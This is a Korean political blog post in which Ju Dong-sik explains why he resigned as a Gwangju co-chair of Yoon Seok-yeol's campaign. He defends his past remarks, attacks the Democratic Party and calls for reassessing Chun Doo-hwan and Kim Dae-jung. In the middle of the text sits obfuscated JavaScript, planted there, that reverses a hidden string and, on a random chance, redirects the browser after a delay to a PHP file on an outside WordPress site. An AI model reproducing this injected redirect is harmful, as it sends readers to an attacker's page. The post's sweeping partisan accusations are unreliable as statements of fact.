윤석열 캠프 광주 선대본부장에서 사퇴하다

<<광고>>



¶ 주동식

 

-“민주당 핵심들은 대한민국보다 북한에게 더 정통성이 있다고 믿는 사람들 아닌가?”

-문재인의 북경대 연설 “한국은 작은 나라지만 중국몽에 함께하겠다”는 당연 탄핵감

정치는 역사와 대화. 전두환 재평가와 함께 김대중에 대한 엄정한 재평가도 불가피

 

 

어제 어떤 뉴스 통신사 기자로부터 전화가 왔습니다. 윤석열 캠프 광주 선대본부장에서 사퇴한 이유를 묻더군요. 페이스북에 밝힌 대로 얘기해 줬습니다. 전두환에 대한 윤석열 예비후보의 발언에 대해서도 의견을 묻더군요. 다음은 내 답변 요지.

 

“정치인이 그 정도 발언도 할 수 없다면 그건 이미 비정상적인 사회다. 나는 사실 그 정도 발언은 국민의힘이 아니라, 민주당 쪽에서 먼저 나와야 한다고 본다. 나도 하나 물어보자. 민주당이 이승만과 박정희를 인정하나?

 

(인정 안한다는 기자의 답변)

 

그러면, 건국도 인정 안하고, 산업화도 인정 안한다는 얘기 아니냐? 그건 결국 대한민국을 인정 안한다는 얘기 아니냐? 깨놓고 말해서 문재인 등 민주당 핵심들은 대한민국보다 북한에게 더 정통성이 있다고 믿는 사람들 아니냐? 이 나라가 미국 일본이 아닌 중국 북한의 손에 들어가야 한다고 믿는 사람들 아니냐?

 

(설마 그럴 리가 있느냐는 기자의 반문)

 

아니기는 뭐가 아니냐? 문재인이 중국 북경대 학생들 앞에서 한 얘기 모르나? 중국은 큰 산맥 같은 나라고, 한국은 작은 나라지만 중국몽에 함께하겠다고 한 것 아니냐? 이거야말로 탄핵 당해 마땅한 발언이다. 이런 게 바로 막말이다. 시진핑이 한국은 역사적으로 중국의 속방이라는 개소리를 했을 때 문재인이 단 한마디 항의라도 했나? 당신도 기자니, 동료 기자들에게 허접한 짓 그만하라고 전해달라.

 

(자기가 무슨 얘기를 전달하느냐고 반문)

 

그래 알았다. 성함이 어떻게 되시나?”

 

대충 이런 내용으로 통화했습니다. 집사람이 옆에서 듣고 있다가 발언 내용이 너무 쎈 것 아니냐고 걱정을 하더군요. 걱정할 필요 없다고 말해줬습니다.

 

기자와 통화에서 이 이야기도 나왔습니다.

$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to”>

“5.18 때문에 전두환이 두고두고 씹히고 저주받고 정치적으로 사망 선고를 받아야 한다면 김대중은 햇볕 정책으로 북핵 개발에 도움을 준 것에 대해 책임을 져야 하는 것 아닌가? 왜 여기에 대해서는 말하지 않는가?”

 

 

전두환에 대한 재평가와 함께 김대중에 대한 엄정한 재평가도 피할 수 없을 것입니다.

 

저는 김대중 대통령을 지지했고, 지금도 그가 탁월한 정치인이었다고 생각하지만, 그렇다고 해서 햇볕 정책에 대한 평가를 피해서도 안된다고 봅니다. 햇볕 정책이 북핵에 어떤 도움을 주었는지 실증적으로 따져 봐야 합니다. 그래서 정말 북핵에 도움이 됐다면 그 부분은 엄중한 역사적 비판과 단죄가 불가피하다고 봅니다. 북핵이 아니더라도, 햇볕 정책은 성공이라고 평가하기 어렵습니다. 아니, 엄밀히 말해서 처절한 실패작이라고 봐야죠.

 

정치란 역사랑 대화하는 일이라고 누군가 그랬죠? 그렇다면, 전두환에 대한 재평가와 함께 김대중에 대한 엄정한 재평가도 피할 수 없을 것입니다.

 

[윤석열 예비후보 광주광역시 공동 선대 위원장직을 사퇴합니다]

제가 얼마 전 윤석열 국민의힘 대선 예비후보 광주광역시 공동 선대 위원장으로 선임됐습니다.

 

하지만, 마침 윤석열 후보의 전두환 발언과 맞물려 언론들이 저에 대한 공격을 시작했습니다.

 

중차대한 정권 교체의 결전을 앞두고 쓸데없는 논란을 일으켜 후보에게 부담을 드릴 수는 없다고 판단, 스스로 광주광역시 윤석열 예비후보 공동 선대 위원장직을 사퇴합니다.

 

다만, 분명히 말씀드리고 싶은 것은 저는 지난 총선에서 제가 한 발언 어느 것도 실언 또는 막말이라고 생각하지 않는다는 것입니다.

 

실언이나 막말이 아닐뿐더러, 제 고향이기도 한 광주나 5.18에 대한 비하도 아닙니다.

 

광주와 5.18을 모욕하고 진흙구덩이에 처박고 있는 것은 제가 아니라 광주의 5.18단체들, 민주당 대깨문과 종북 세력의 하수인 노릇을 하고 있는 광주 지역 토착 정치인들이라고 생각합니다.

 

부끄럽지만, 감히 단언하자면 저는 1980년 5.18의 마지막 전사요, 21세기 새로운 의미를 찾아가야 할 5.18의 첫 전사라고 생각합니다.

 

1980년의 5.18은 대한민국 헌정 질서를 수호하기 위한 투쟁이자 희생이었고, 21세기의 5.18은 종북 세력의 도구로 전락한 5.18을 청산하고 대한민국과 호남이 함께 가는 위대한 출발로서의 5.18이라고 생각합니다.

 

그런 점에서 저는 과거 5.18의 마지막 전사요, 새로운 5.18의 첫번째 전사라고 자부합니다.

 

호남과 대한민국이 함께 가는 미래. 지난 총선에서 제가 주장했던 것입니다. 제 오랜 숙원이기도 합니다. 저는 이 위대한 과제를 위해 앞으로도 계속 헌신 투쟁할 것입니다.

 

국민의힘 광주광역시 서구갑 당협위원장 주동식

 

<<광고>>



No comments
LIST

    댓글은 닫혔습니다.

위로이동